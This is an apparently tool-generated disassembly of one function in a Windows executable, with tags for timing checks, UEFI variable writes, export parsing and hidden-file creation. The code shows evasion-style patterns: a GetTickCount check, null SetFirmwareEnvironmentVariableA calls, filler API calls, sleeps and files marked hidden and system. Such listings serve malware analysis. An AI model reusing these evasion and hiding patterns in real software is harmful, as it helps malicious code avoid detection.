Function at 0x429610
Capabilities:
Check for time delay via gettickcount
Create directory
Create process on windows
Resolve function by parsing pe exports
Set file attributes
Set uefi variable

Disassembly:
push 0xffffffffffffffff
push 0x4510bd
mov eax, dword fs:[0]
push eax
sub esp, 0x1d0
mov eax, dword [0x4612b0]
xor eax, esp
mov dword [esp + 0x1c8], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4612b0]
xor eax, esp
push eax
lea eax, [esp + 0x1e4]
mov dword fs:[0], eax
mov eax, dword [esp + 0x1f4]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x1ec], 3
call fcn.004178b0
sub eax, 1
jne 0x429675
call fcn.00419d50
call fcn.0041a9c0
xor ebp, ebp
cmp dword [esp + 0x20c], ebp
jne 0x42973e
mov esi, 0x10
cmp dword [esp + 0x210], esi
jb 0x4296a2
mov ecx, dword [esp + 0x1fc]
push ecx
call fcn.00439c49
add esp, 4
mov ebx, 0xf
mov dword [esp + 0x210], ebx
mov dword [esp + 0x20c], ebp
mov byte [esp + 0x1fc], 0
cmp dword [esp + 0x22c], esi
jb 0x4296d6
mov edx, dword [esp + 0x218]
push edx
call fcn.00439c49
add esp, 4
mov dword [esp + 0x22c], ebx
mov dword [esp + 0x228], ebp
mov byte [esp + 0x218], 0
cmp dword [esp + 0x248], esi
jb 0x429705
mov eax, dword [esp + 0x234]
push eax
call fcn.00439c49
add esp, 4
cmp dword [esp + 0x264], esi
mov byte [esp + 0x234], 0
mov dword [esp + 0x244], ebp
mov dword [esp + 0x248], ebx
jb 0x429734
mov ecx, dword [esp + 0x250]
push ecx
call fcn.00439c49
add esp, 4
mov eax, 0x80004005
jmp 0x42abbe
call fcn.00430f00
sub eax, 1
jne 0x429752
call fcn.0041aa70
call fcn.00406e10
cmp dword [esp + 0x228], ebp
jne 0x42981d
mov esi, 0x10
cmp dword [esp + 0x210], esi
jb 0x42977d
mov edx, dword [esp + 0x1fc]
push edx
call fcn.00439c49
add esp, 4
mov ebx, 0xf
mov dword [esp + 0x210], ebx
mov dword [esp + 0x20c], ebp
mov byte [esp + 0x1fc], 0
cmp dword [esp + 0x22c], esi
jb 0x4297b1
mov eax, dword [esp + 0x218]
push eax
call fcn.00439c49
add esp, 4
mov dword [esp + 0x22c], ebx
mov dword [esp + 0x228], ebp
mov byte [esp + 0x218], 0
cmp dword [esp + 0x248], esi
jb 0x4297e0
mov ecx, dword [esp + 0x234]
push ecx
call fcn.00439c49
add esp, 4
mov dword [esp + 0x248], ebx
mov dword [esp + 0x244], ebp
mov byte [esp + 0x234], 0
cmp dword [esp + 0x264], esi
jb 0x429734
mov edx, dword [esp + 0x250]
push edx
call fcn.00439c49
add esp, 4
mov eax, 0x80004005
jmp 0x42abbe
call fcn.004065e0
test eax, eax
je 0x429830
call fcn.0041ab40
call fcn.0041ab40
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, 2
mov edi, dword [sym.imp.USER32.dll_GetActiveWindow]
je 0x42984b
sub eax, 2
je 0x42984b
sub eax, 4
jne 0x429868
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
call edi
call dword [sym.imp.USER32.dll_GetCapture]
call dword [sym.imp.USER32.dll_GetClipboardOwner]
call fcn.0041abe0
cmp dword [esp + 0x244], ebp
jne 0x429933
mov esi, 0x10
cmp dword [esp + 0x210], esi
jb 0x429893
mov eax, dword [esp + 0x1fc]
push eax
call fcn.00439c49
add esp, 4
mov ebx, 0xf
mov dword [esp + 0x210], ebx
mov dword [esp + 0x20c], ebp
mov byte [esp + 0x1fc], 0
cmp dword [esp + 0x22c], esi
jb 0x4298c7
mov ecx, dword [esp + 0x218]
push ecx
call fcn.00439c49
add esp, 4
mov dword [esp + 0x22c], ebx
mov dword [esp + 0x228], ebp
mov byte [esp + 0x218], 0
cmp dword [esp + 0x248], esi
jb 0x4298f6
mov edx, dword [esp + 0x234]
push edx
call fcn.00439c49
add esp, 4
mov dword [esp + 0x248], ebx
mov dword [esp + 0x244], ebp
mov byte [esp + 0x234], 0
cmp dword [esp + 0x264], esi
jb 0x429734
mov eax, dword [esp + 0x250]
push eax
call fcn.00439c49
add esp, 4
mov eax, 0x80004005
jmp 0x42abbe
mov ebp, dword [esp + 0x1c]
mov ecx, dword [ebp + 0x300]
sub ecx, dword [ebp + 0x2fc]
add ebp, 0x2f0
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
xor esi, esi
add ecx, edx
je 0x4299ba
cmp dword [esp + 0x210], 0x10
mov ebx, dword [esp + 0x1fc]
jae 0x429976
lea ebx, [esp + 0x1fc]
push esi
mov eax, ebp
call fcn.0042b950
cmp dword [eax + 0x18], 0x10
jb 0x429989
mov eax, dword [eax + 4]
jmp 0x42998c
add eax, 4
push ebx
push eax
call fcn.0043b18c
add esp, 8
test eax, eax
je 0x429b87
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp + 0xc]
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc esi
add eax, edx
cmp esi, eax
jb 0x42995e
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp + 0xc]
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 4
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov dword [esp + 0x28], ebx
call fcn.004065e0
sub eax, 1
jne 0x4299e9
call fcn.0041a8f0
call fcn.0041acb0
mov eax, 0xf
xor edi, edi
mov dword [esp + 0x164], eax
mov dword [esp + 0x160], edi
mov byte [esp + 0x150], 0
mov dword [esp + 0x180], eax
mov dword [esp + 0x17c], edi
mov byte [esp + 0x16c], 0
mov dword [esp + 0x19c], eax
mov dword [esp + 0x198], edi
mov byte [esp + 0x188], 0
push 0xffffffffffffffff
push edi
lea ecx, [esp + 0x200]
push ecx
lea ecx, [esp + 0x158]
mov byte [esp + 0x1f8], 4
call fcn.00402be0
mov edx, dword [esp + 0x1c]
push 0xffffffffffffffff
push edi
add edx, 0x260
push edx
lea ecx, [esp + 0x174]
mov dword [esp + 0x1ac], edi
call fcn.00402be0
mov eax, dword [esp + 0x17c]
cmp eax, edi
je 0x429abc
lea esi, [eax - 1]
cmp eax, esi
ja 0x429a89
call fcn.00438c11
cmp dword [esp + 0x180], 0x10
mov eax, dword [esp + 0x16c]
jae 0x429aa1
lea eax, [esp + 0x16c]
cmp byte [eax + esi], 0x5c
je 0x429abc
push 0x5c
mov eax, 1
lea edi, [esp + 0x16c]
call fcn.00412960
xor edi, edi
push edi
lea eax, [esp + 0x218]
push eax
or eax, 0xffffffff
lea esi, [esp + 0x170]
call fcn.00405750
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push edi
shr esi, 0x18
call fcn.0043af41
imul eax, eax, 0x63
add esp, 4
cmp esi, eax
jbe 0x429b03
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
call fcn.00431550
call fcn.0041a8a0
mov eax, dword [esp + 0x17c]
cmp eax, edi
je 0x429b4d
lea esi, [eax - 1]
cmp eax, esi
ja 0x429b1a
call fcn.00438c11
cmp dword [esp + 0x180], 0x10
mov eax, dword [esp + 0x16c]
jae 0x429b32
lea eax, [esp + 0x16c]
cmp byte [esi + eax], 0x5c
je 0x429b4d
push 0x5c
mov eax, 1
lea edi, [esp + 0x16c]
call fcn.00412960
xor edi, edi
push 0xffffffffffffffff
push edi
lea ecx, [esp + 0x170]
push ecx
lea ecx, [esp + 0x190]
call fcn.00402be0
call fcn.00439c27
cdq
mov ecx, 0x14
idiv ecx
mov esi, edx
inc esi
call fcn.00439c27
cdq
idiv esi
cmp edx, esi
jle 0x429bad
mov ecx, 1
jmp 0x429bb4
mov ebx, esi
mov dword [esp + 0x28], ebx
call fcn.00417880
test eax, eax
je 0x429c4b
call edi
call dword [sym.imp.USER32.dll_GetCapture]
call dword [sym.imp.USER32.dll_GetClipboardOwner]
jmp 0x429c4b
mov eax, esi
cdq
idiv esi
mov ecx, edx
mov eax, 0xadd5e633
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 0x179
jle 0x429be3
push 0x179
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0041ad60
call fcn.00431240
push 0
lea ecx, [esp + 0x234]
push ecx
or eax, 0xffffffff
lea esi, [esp + 0x170]
call fcn.00405750
lea edx, [esp + 0x14c]
push edx
mov edi, ebp
call fcn.0042b9f0
lea eax, [esp + 0x27]
mov byte [esp + 0x27], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x429c17
sub eax, edx
mov eax, 0
setne al
sub eax, 1
jne 0x429c37
call fcn.0041ae30
call fcn.00401350
lea esi, [esp + 0x14c]
mov byte [esp + 0x1ec], 3
call fcn.004037a0
push ebx
mov eax, ebp
call fcn.0042b950
cmp dword [eax + 0x54], 3
push ebx
mov eax, ebp
jbe 0x429e13
call fcn.0042b950
cmp dword [eax + 0x18], 0x10
jb 0x429c70
mov eax, dword [eax + 4]
jmp 0x429c73
add eax, 4
push eax
lea eax, [esp + 0x4c]
push eax
sub esp, 0x1c
mov esi, esp
xor ebp, ebp
mov dword [esi + 0x18], 0xf
lea ebx, [esi + 4]
mov dword [esi + 0x14], ebp
mov byte [ebx], 0
mov eax, dword [esi + 0x18]
mov edi, 0x10
mov dword [esp + 0x44], esp
cmp eax, edi
jb 0x429ca4
mov ecx, dword [ebx]
jmp 0x429ca6
mov ecx, ebx
cmp ecx, 0x4579d8
ja 0x429cdf
cmp eax, edi
jb 0x429cb6
mov ecx, dword [ebx]
jmp 0x429cb8
mov ecx, ebx
mov edx, dword [esi + 0x14]
add edx, ecx
cmp edx, 0x4579d8
jbe 0x429cdf
cmp eax, edi
jb 0x429ccb
mov ebx, dword [ebx]
push 0x1b
mov eax, 0x4579d8
sub eax, ebx
push eax
push esi
mov ecx, esi
call fcn.00402be0
jmp 0x429d21
cmp eax, 0x1b
jae 0x429cf1
mov ecx, dword [esi + 0x14]
push ecx
push 0x1b
mov ecx, esi
call fcn.00403340
mov ecx, dword [esi + 0x18]
cmp ecx, edi
jb 0x429cfc
mov eax, dword [ebx]
jmp 0x429cfe
mov eax, ebx
push 0x1b
push 0x4579d8
push ecx
push eax
call fcn.00439ca9
add esp, 0x10
mov dword [esi + 0x14], 0x1b
cmp dword [esi + 0x18], edi
jb 0x429d1d
mov ebx, dword [ebx]
mov byte [ebx + 0x1b], 0
lea esi, [esp + 0x170]
call fcn.004014e0
mov byte [esp + 0x1f4], 5
call fcn.004015b0
mov byte [esp + 0x1f0], 6
cmp dword [eax + 0x18], edi
jb 0x429d4c
mov eax, dword [eax + 4]
jmp 0x429d4f
add eax, 4
mov edx, dword [esp + 0x20]
push eax
push 1
push edx
call fcn.0041da70
add esp, 0x10
cmp dword [esp + 0x60], edi
jb 0x429d72
mov eax, dword [esp + 0x4c]
push eax
call fcn.00439c49
add esp, 4
mov ebx, 0xf
lea esi, [esp + 0x14c]
mov dword [esp + 0x60], ebx
mov dword [esp + 0x5c], ebp
mov byte [esp + 0x4c], 0
call fcn.004037a0
cmp dword [esp + 0x210], edi
jb 0x429da9
mov ecx, dword [esp + 0x1fc]
push ecx
call fcn.00439c49
add esp, 4
mov dword [esp + 0x210], ebx
mov dword [esp + 0x20c], ebp
mov byte [esp + 0x1fc], 0
cmp dword [esp + 0x22c], edi
jb 0x429dd8
mov edx, dword [esp + 0x218]
push edx
call fcn.00439c49
add esp, 4
mov dword [esp + 0x22c], ebx
mov dword [esp + 0x228], ebp
mov byte [esp + 0x218], 0
cmp dword [esp + 0x248], edi
jb 0x429e07
mov eax, dword [esp + 0x234]
push eax
call fcn.00439c49
add esp, 4
cmp dword [esp + 0x264], edi
jmp 0x42970c
call fcn.0042b950
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0xffffffffffffffff
add eax, 0x1c
push 0
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], 0
push eax
mov byte [ecx + 4], 0
call fcn.00402be0
call fcn.0041ddd0
test eax, eax
jge 0x42a905
lea edx, [esp + 0x84]
push edx
call fcn.0042b5e0
lea eax, [esp + 0x2c]
push eax
sub esp, 0x1c
mov esi, esp
mov byte [esp + 0x20c], 7
mov dword [esi + 0x18], 0xf
lea ebx, [esi + 4]
mov dword [esi + 0x14], 0
mov byte [ebx], 0
mov eax, dword [esi + 0x18]
mov edi, 0x10
mov dword [esp + 0x40], esp
cmp eax, edi
jb 0x429e94
mov ecx, dword [ebx]
jmp 0x429e96
mov ecx, ebx
cmp ecx, 0x457900
ja 0x429ecf
cmp eax, edi
jb 0x429ea6
mov ecx, dword [ebx]
jmp 0x429ea8
mov ecx, ebx
mov edx, dword [esi + 0x14]
add edx, ecx
cmp edx, 0x457900
jbe 0x429ecf
cmp eax, edi
jb 0x429ebb
mov ebx, dword [ebx]
push 0xb
mov eax, 0x457900
sub eax, ebx
push eax
push esi
mov ecx, esi
call fcn.00402be0
jmp 0x429f11
cmp eax, 0xb
jae 0x429ee1
mov ecx, dword [esi + 0x14]
push ecx
push 0xb
mov ecx, esi
call fcn.00403340
mov ecx, dword [esi + 0x18]
cmp ecx, edi
jb 0x429eec
mov eax, dword [ebx]
jmp 0x429eee
mov eax, ebx
push 0xb
push 0x457900
push ecx
push eax
call fcn.00439ca9
add esp, 0x10
mov dword [esi + 0x14], 0xb
cmp dword [esi + 0x18], edi
jb 0x429f0d
mov ebx, dword [ebx]
mov byte [ebx + 0xb], 0
lea esi, [esp + 0x16c]
call fcn.004014e0
mov byte [esp + 0x1f0], 8
call fcn.004015b0
mov byte [esp + 0x1ec], 9
cmp dword [eax + 0x18], edi
jb 0x429f3c
mov edx, dword [eax + 4]
jmp 0x429f3f
lea edx, [eax + 4]
mov eax, edx
mov dword [esp + 0x60], 0xf
mov dword [esp + 0x5c], 0
mov byte [esp + 0x4c], 0
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x429f60
sub eax, esi
push eax
push edx
lea ecx, [esp + 0x50]
call fcn.00402f50
lea edx, [esp + 0x48]
push edx
lea ebx, [esp + 0x88]
mov byte [esp + 0x1f0], 0xa
call fcn.0042b540
mov edi, 0x10
cmp dword [esp + 0x60], edi
jb 0x429fa5
mov eax, dword [esp + 0x4c]
push eax
call fcn.00439c49
add esp, 4
mov dword [esp + 0x60], 0xf
mov dword [esp + 0x5c], 0
mov byte [esp + 0x4c], 0
cmp dword [esp + 0x44], edi
jb 0x429fcd
mov ecx, dword [esp + 0x30]
push ecx
call fcn.00439c49
add esp, 4
xor ebx, ebx
lea esi, [esp + 0x14c]
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
mov byte [esp + 0x1ec], 7
call fcn.004037a0
lea edx, [esp + 0x2c]
push edx
sub esp, 0x1c
mov esi, esp
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], 0xf
lea ebx, [esi + 4]
mov byte [ebx], 0
mov eax, dword [esi + 0x18]
mov dword [esp + 0x40], esp
cmp eax, edi
jb 0x42a01c
mov ecx, dword [ebx]
jmp 0x42a01e
mov ecx, ebx
cmp ecx, 0x4579f4
ja 0x42a057
cmp eax, edi
jb 0x42a02e
mov ecx, dword [ebx]
jmp 0x42a030
mov ecx, ebx
mov edx, dword [esi + 0x14]
add edx, ecx
cmp edx, 0x4579f4
jbe 0x42a057
cmp eax, edi
jb 0x42a043
mov ebx, dword [ebx]
push 5
mov eax, 0x4579f4
sub eax, ebx
push eax
push esi
mov ecx, esi
call fcn.00402be0
jmp 0x42a099
cmp eax, 5
jae 0x42a069
mov ecx, dword [esi + 0x14]
push ecx
push 5
mov ecx, esi
call fcn.00403340
mov ecx, dword [esi + 0x18]
cmp ecx, edi
jb 0x42a074
mov eax, dword [ebx]
jmp 0x42a076
mov eax, ebx
push 5
push 0x4579f4
push ecx
push eax
call fcn.00439ca9
add esp, 0x10
mov dword [esi + 0x14], 5
cmp dword [esi + 0x18], edi
jb 0x42a095
mov ebx, dword [ebx]
mov byte [ebx + 5], 0
lea esi, [esp + 0x16c]
call fcn.004014e0
mov ecx, eax
mov byte [esp + 0x1f0], 0xb
call fcn.00401760
mov byte [esp + 0x1ec], 0xc
cmp dword [eax + 0x18], edi
jb 0x42a0c6
mov edx, dword [eax + 4]
jmp 0x42a0c9
lea edx, [eax + 4]
mov eax, edx
mov dword [esp + 0x60], 0xf
mov dword [esp + 0x5c], 0
mov byte [esp + 0x4c], 0
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x42a0e3
sub eax, esi
push eax
push edx
lea ecx, [esp + 0x50]
call fcn.00402f50
lea edx, [esp + 0x48]
push edx
lea ebx, [esp + 0x88]
mov byte [esp + 0x1f0], 0xd
call fcn.0042b540
cmp dword [esp + 0x60], edi
jb 0x42a123
mov eax, dword [esp + 0x4c]
push eax
call fcn.00439c49
add esp, 4
xor edi, edi
cmp dword [esp + 0x44], 0x10
mov dword [esp + 0x60], 0xf
mov dword [esp + 0x5c], edi
mov byte [esp + 0x4c], 0
jb 0x42a14a
mov ecx, dword [esp + 0x30]
push ecx
call fcn.00439c49
add esp, 4
lea esi, [esp + 0x14c]
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
mov byte [esp + 0x1ec], 7
call fcn.004037a0
sub esp, 0x18
mov edx, esp
mov dword [esp + 0x38], esp
push edx
lea ecx, [esp + 0xa0]
call fcn.0042b3d0
mov ebx, dword [esp + 0x40]
push ebx
mov eax, ebp
mov byte [esp + 0x208], 0xe
call fcn.0042b950
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x4c], esp
push 0xffffffffffffffff
push edi
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], edi
push eax
mov byte [ecx + 4], 0
call fcn.00402be0
mov ecx, dword [esp + 0x50]
add ecx, 0x18
mov byte [esp + 0x220], 7
call fcn.00435bb0
cmp eax, edi
push ebx
mov eax, ebp
jge 0x42a36e
call fcn.0042b950
inc dword [eax + 0x54]
add eax, 0x54
push edi
call fcn.0043af41
add esp, 4
push ebx
mov eax, ebp
mov dword [esp + 0x1f0], 7
call fcn.0042b950
cmp dword [eax + 0x18], 0x10
jb 0x42a20a
mov eax, dword [eax + 4]
jmp 0x42a20d
add eax, 4
push eax
lea eax, [esp + 0x30]
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x21
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], edi
push 0x4579fc
mov byte [ecx + 4], 0
call fcn.00402f50
lea esi, [esp + 0x170]
call fcn.004014e0
mov byte [esp + 0x1f4], 0x11
call fcn.004016a0
mov byte [esp + 0x1f0], 0x12
cmp dword [eax + 0x18], 0x10
jb 0x42a262
mov eax, dword [eax + 4]
jmp 0x42a265
add eax, 4
mov ecx, dword [esp + 0x20]
push eax
push 1
push ecx
call fcn.0041da70
add esp, 0x10
lea ecx, [esp + 0x2c]
call fcn.004029a0
lea esi, [esp + 0x14c]
mov byte [esp + 0x1ec], 7
call fcn.004037a0
push ebx
mov eax, ebp
call fcn.0042b950
cmp dword [eax + 0x18], 0x10
jb 0x42a2a5
mov eax, dword [eax + 4]
jmp 0x42a2a8
add eax, 4
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x38], esp
push 2
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], edi
push 0x457a20
lea ebx, [esp + 0x54]
mov byte [ecx + 4], 0
call fcn.00402f50
lea esi, [esp + 0x16c]
call fcn.004014e0
mov edx, ebx
mov ecx, eax
mov byte [esp + 0x1f0], 0x13
call fcn.00401a80
mov byte [esp + 0x1f0], 0x14
cmp dword [eax + 0x18], 0x10
jb 0x42a300
mov eax, dword [eax + 4]
jmp 0x42a303
add eax, 4
mov edx, dword [esp + 0x20]
push eax
push 2
push edx
call fcn.0041da70
add esp, 0x10
lea ecx, [esp + 0x2c]
call fcn.004029a0
lea esi, [esp + 0x14c]
call fcn.004037a0
lea esi, [esp + 0x84]
call fcn.0042b4f0
lea ecx, [esp + 0x1f8]
call fcn.004029a0
lea ecx, [esp + 0x214]
call fcn.004029a0
lea ecx, [esp + 0x230]
call fcn.004029a0
lea ecx, [esp + 0x24c]
call fcn.004029a0
mov eax, 0x80004005
jmp 0x42abbe
call fcn.0042b950
sub esp, 0x1c
add eax, 0x38
mov ecx, esp
mov dword [esp + 0x34], esp
push eax
call fcn.00402970
call fcn.0041ddd0
mov esi, eax
call fcn.00417850
mov ecx, eax
mov eax, 0x335c49d5
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 0x13f0
jle 0x42a3c0
push 0x13f0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0041aec0
call fcn.0041af50
call fcn.00430df0
sub eax, 1
jne 0x42a3d4
call fcn.0041b020
call fcn.00406e10
mov dword [esp + 0x1bc], 0xf
mov dword [esp + 0x1b8], edi
mov byte [esp + 0x1a8], 0
cmp esi, edi
mov byte [esp + 0x1ec], 0x15
jge 0x42a78c
mov esi, dword [esp + 0x28]
push esi
mov eax, ebp
call fcn.0042b950
mov edi, eax
add edi, 0x1c
lea ebx, [esp + 0x6c]
call fcn.004029d0
mov ecx, dword [eax]
mov edx, dword [eax + 4]
push esi
mov eax, ebp
mov dword [esp + 0x68], ecx
mov dword [esp + 0x6c], edx
call fcn.0042b950
mov edi, eax
add edi, 0x1c
lea ebx, [esp + 0x6c]
call fcn.00402a20
mov ebx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp + 0xa0], eax
mov dword [esp + 0x20], 0
lea esi, [esp + 0xa4]
call fcn.0040f8f0
mov byte [esp + 0x1ec], 0x16
call fcn.00417810
test eax, eax
je 0x42a471
call fcn.00419d50
mov ecx, dword [esp + 0xa0]
mov edx, dword [esp + 0x68]
mov eax, dword [esp + 0x64]
push ecx
push ebx
push edx
push eax
push 0
push 1
lea ecx, [esp + 0x44]
push ecx
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x50], esp
push 9
mov ecx, 0x457a24
call fcn.00404130
lea esi, [esp + 0x184]
call fcn.004014e0
mov ecx, eax
mov byte [esp + 0x208], 0x17
call fcn.00401760
mov ecx, eax
mov byte [esp + 0x204], 0x18
call fcn.00402b00
push eax
lea edx, [esp + 0x88]
push edx
call fcn.0040f9b0
push eax
lea eax, [esp + 0xbc]
push eax
mov byte [esp + 0x208], 0x19
call fcn.0042e970
add esp, 0x1c
lea ecx, [esp + 0x6c]
push ecx
movzx edi, al
mov byte [esp + 0x1f0], 0x18
call fcn.0040faa0
lea ecx, [esp + 0x2c]
call fcn.004029a0
mov byte [esp + 0x1ec], 0x16
call fcn.004037a0
test edi, edi
je 0x42a6f0
call fcn.00430df0
test eax, eax
je 0x42a534
call fcn.00431240
mov edi, 1
lea esi, [esp + 0xa4]
call fcn.0040f940
lea ecx, [esp + 0x2c]
call fcn.0040f990
push 0
lea edx, [esp + 0x30]
push edx
or eax, 0xffffffff
lea esi, [esp + 0x1ac]
mov byte [esp + 0x1f4], 0x1a
call fcn.00405750
lea ecx, [esp + 0x2c]
mov byte [esp + 0x1ec], 0x16
call fcn.004029a0
call fcn.004177e0
test eax, eax
je 0x42a58b
call fcn.0041ab40
sub esp, 0x1c
lea eax, [esp + 0x1c0]
mov ecx, esp
mov dword [esp + 0x34], esp
push eax
call fcn.00402970
call fcn.0041ddd0
test eax, eax
jge 0x42a5ef
push 0
lea ecx, [esp + 0x1a8]
call fcn.00402b00
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [esp + 0x1a4]
test eax, eax
je 0x42a709
push 6
call fcn.00402b00
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.00436780
test eax, eax
je 0x42a5ef
call fcn.00418100
call fcn.0041ab40
lea eax, [esp + 0xa4]
call fcn.0042bd10
mov edi, eax
lea eax, [esp + 0xa4]
call fcn.0042bc90
add edi, eax
lea esi, [esp + 0x64]
call fcn.00403680
lea esi, [esp + 0xa4]
mov byte [esp + 0x1ec], 0x15
call fcn.0040f720
mov eax, dword [esp + 0x20]
inc eax
mov dword [esp + 0x20], eax
cmp eax, 0x1e
jb 0x42a44f
mov ebx, dword [esp + 0x28]
push ebx
mov eax, ebp
call fcn.0042b950
sub esp, 0x1c
add eax, 0x38
mov ecx, esp
mov dword [esp + 0x34], esp
push eax
call fcn.00402970
call fcn.0041ddd0
test eax, eax
jge 0x42a790
push ebx
mov eax, ebp
call fcn.0042b950
mov ecx, eax
add ecx, 0x38
call fcn.00402b00
push eax
lea eax, [esp + 0x30]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
push 0x27
mov ecx, 0x457a58
call fcn.00404130
lea esi, [esp + 0x170]
call fcn.004014e0
mov ecx, eax
mov byte [esp + 0x1f4], 0x1d
call fcn.00401760
mov ecx, eax
mov byte [esp + 0x1f0], 0x1e
call fcn.00402b00
mov ecx, dword [esp + 0x20]
push eax
push 1
push ecx
call fcn.0041da70
add esp, 0x10
lea ecx, [esp + 0x2c]
call fcn.004029a0
call fcn.004037a0
call fcn.004177b0
lea ecx, [esp + 0x1a4]
call fcn.004029a0
jmp 0x42a328
lea esi, [esp + 0xa4]
mov byte [esp + 0x1ec], 0x15
call fcn.0040f720
jmp 0x42a63a
call fcn.00402b00
push eax
lea ecx, [esp + 0x30]
push ecx
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
push 0x25
mov ecx, str.6WRUHR_L__aNCemC
call fcn.00404130
lea esi, [esp + 0x170]
call fcn.004014e0
mov byte [esp + 0x1f4], 0x1b
call fcn.00401900
mov ecx, eax
mov byte [esp + 0x1f0], 0x1c
call fcn.00402b00
mov edx, dword [esp + 0x20]
push eax
push 1
push edx
call fcn.0041da70
add esp, 0x10
lea ecx, [esp + 0x2c]
call fcn.004029a0
call fcn.004037a0
lea esi, [esp + 0xa4]
call fcn.0040f720
lea ecx, [esp + 0x1a4]
call fcn.004029a0
jmp 0x42a328
mov ebx, dword [esp + 0x28]
push ebx
mov eax, ebp
call fcn.0042b950
sub esp, 0x1c
add eax, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push eax
call fcn.00402970
mov edi, dword [esp + 0x38]
add edi, 0x18
call fcn.00433560
test eax, eax
mov eax, ebp
jge 0x42a8c4
push ebx
call fcn.0042b950
inc dword [eax + 0x54]
add eax, 0x54
push ebx
mov eax, ebp
call fcn.0042b950
mov ecx, eax
add ecx, 0x1c
call fcn.00402b00
push eax
lea edx, [esp + 0x30]
push edx
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
push 0x1d
mov ecx, 0x457a80
call fcn.00404130
lea esi, [esp + 0x170]
call fcn.004014e0
mov byte [esp + 0x1f4], 0x21
call fcn.004016a0
mov ecx, eax
mov byte [esp + 0x1f0], 0x22
call fcn.00402b00
mov edi, dword [esp + 0x20]
push eax
push 1
push edi
call fcn.0041da70
add esp, 0x10
lea ecx, [esp + 0x2c]
call fcn.004029a0
mov byte [esp + 0x1ec], 0x15
call fcn.004037a0
push ebx
mov eax, ebp
call fcn.0042b950
mov ecx, eax
call fcn.00402b00
push eax
lea eax, [esp + 0x30]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
push 2
mov ecx, 0x457aa0
call fcn.00404130
lea esi, [esp + 0x170]
call fcn.004014e0
mov byte [esp + 0x1f4], 0x23
call fcn.004015b0
mov ecx, eax
mov byte [esp + 0x1f0], 0x24
call fcn.00402b00
push eax
push 2
push edi
call fcn.0041da70
add esp, 0x10
lea ecx, [esp + 0x2c]
call fcn.004029a0
call fcn.004037a0
lea ecx, [esp + 0x1a4]
call fcn.004029a0
jmp 0x42a328
push 6
push ecx
push ebx
call fcn.0042b950
mov ecx, eax
add esp, 4
add ecx, 0x1c
call fcn.00402b00
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [esp + 0x1a4]
call fcn.004029a0
lea esi, [esp + 0x84]
mov byte [esp + 0x1ec], 3
call fcn.0042b4f0
mov ebx, dword [esp + 0x28]
xor eax, eax
push 0x40
push eax
lea ecx, [esp + 0x110]
push ecx
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], eax
mov dword [esp + 0x88], eax
mov dword [esp + 0x8c], eax
mov dword [esp + 0x110], eax
call fcn.00440440
add esp, 0xc
xor edx, edx
push ebx
mov eax, ebp
mov dword [esp + 0x134], 1
mov word [esp + 0x138], dx
call fcn.0042b950
add eax, 0x1c
push eax
mov edi, 0x4577bc
lea esi, [esp + 0x30]
call fcn.004054c0
add esp, 4
lea ecx, [esp + 0x24c]
push ecx
push eax
lea edi, [esp + 0x1c8]
mov byte [esp + 0x1f4], 0x25
call fcn.00405570
add esp, 8
mov byte [esp + 0x1ec], 0x27
cmp dword [esp + 0x44], 0x10
jb 0x42a9ab
mov edx, dword [esp + 0x30]
push edx
call fcn.00439c49
add esp, 4
push ebx
mov eax, ebp
mov dword [esp + 0x48], 0xf
mov dword [esp + 0x44], 0
mov byte [esp + 0x34], 0
call fcn.0042b950
add eax, 0x38
mov ecx, 0x10
cmp dword [eax + 0x18], ecx
jb 0x42a9da
mov eax, dword [eax + 4]
jmp 0x42a9dd
add eax, 4
cmp dword [esp + 0x1d8], ecx
mov ecx, dword [esp + 0x1c4]
jae 0x42a9f4
lea ecx, [esp + 0x1c4]
lea edx, [esp + 0x74]
push edx
